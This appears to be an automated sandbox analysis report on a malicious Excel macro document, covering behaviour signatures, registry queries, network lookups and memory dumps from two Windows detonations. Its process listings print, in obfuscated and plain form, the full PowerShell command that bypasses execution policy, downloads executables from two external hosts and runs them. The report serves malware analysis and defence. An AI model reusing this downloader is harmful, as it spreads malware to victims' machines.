Malware Analysis Report

2025-01-22 19:08

Sample ID 240722-17xd7asapm
Target 522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595
SHA256 522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595
Tags
execution macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595

Threat Level: Known bad

The file 522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595 was found to be: Known bad.

Malicious Activity Summary

execution macro macro_on_action

Process spawned unexpected child process

Office macro that triggers on suspicious action

Blocklisted process makes network request

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 22:18

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 22:18

Reported

2024-07-22 22:19

Platform

win10v2004-20240704-en

Max time kernel

47s

Max time network

38s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\CMd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls"

C:\Windows\SYSTEM32\CMd.exe

CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 berurn.com udp
US 8.8.8.8:53 rejmed.cz udp
CZ 109.123.223.100:80 rejmed.cz tcp
US 8.8.8.8:53 100.223.123.109.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 92.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/1248-0-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

memory/1248-2-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

memory/1248-1-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

memory/1248-4-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

memory/1248-3-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

memory/1248-5-0x00007FFEA21ED000-0x00007FFEA21EE000-memory.dmp

memory/1248-6-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-8-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp

memory/1248-7-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-9-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-11-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-10-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-12-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-17-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-16-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-18-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-19-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-15-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-14-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp

memory/1248-13-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

memory/1248-99-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv5wtgws.0vu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2468-531-0x000001E8C4690000-0x000001E8C46B2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 c094e7aa8ea9555a3e92c1587730db5c
SHA1 c509e0eb96cba7a5161c98d305d8a6748b9b0f8f
SHA256 c8e7e1b5e887eae48d35fb270a7ef6dbd20fd82bd705b7dd8b79c9a4906c382a
SHA512 e6a40766f4778e2536f1c4ce6184048533d71c7bbe5d1af8a9ad84ec86d32d83ab94e4743990fbf028f5999787910ab0a44e3e4969fce975a982ab11d3b5563e

memory/1248-546-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 22:18

Reported

2024-07-22 22:19

Platform

win7-20240705-en

Max time kernel

26s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\CMd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls

C:\Windows\SysWOW64\CMd.exe

CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

Network

Country Destination Domain Proto
US 8.8.8.8:53 berurn.com udp
US 8.8.8.8:53 rejmed.cz udp
CZ 109.123.223.100:80 rejmed.cz tcp

Files

memory/1732-1-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

memory/1732-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1732-4-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-3-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-2-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-5-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-45-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-6-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-33-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-31-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-28-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-67-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-75-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-87-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-96-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-7-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-306-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/1732-305-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-109-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-108-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-107-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-97-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-95-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-94-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-93-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-92-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-91-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-90-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-89-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-88-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-86-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-76-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-74-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-73-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-72-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-71-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-70-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-69-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-68-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-66-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-65-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-55-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-54-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-53-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-52-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-51-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-50-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-49-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-48-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-47-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-46-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-44-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-34-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-32-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-30-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-29-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-27-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-26-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-25-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-24-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-23-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-13-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-12-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-11-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-10-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-9-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-8-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-468-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

memory/1732-469-0x0000000000450000-0x0000000000550000-memory.dmp

memory/1732-470-0x00000000066B0000-0x00000000067B0000-memory.dmp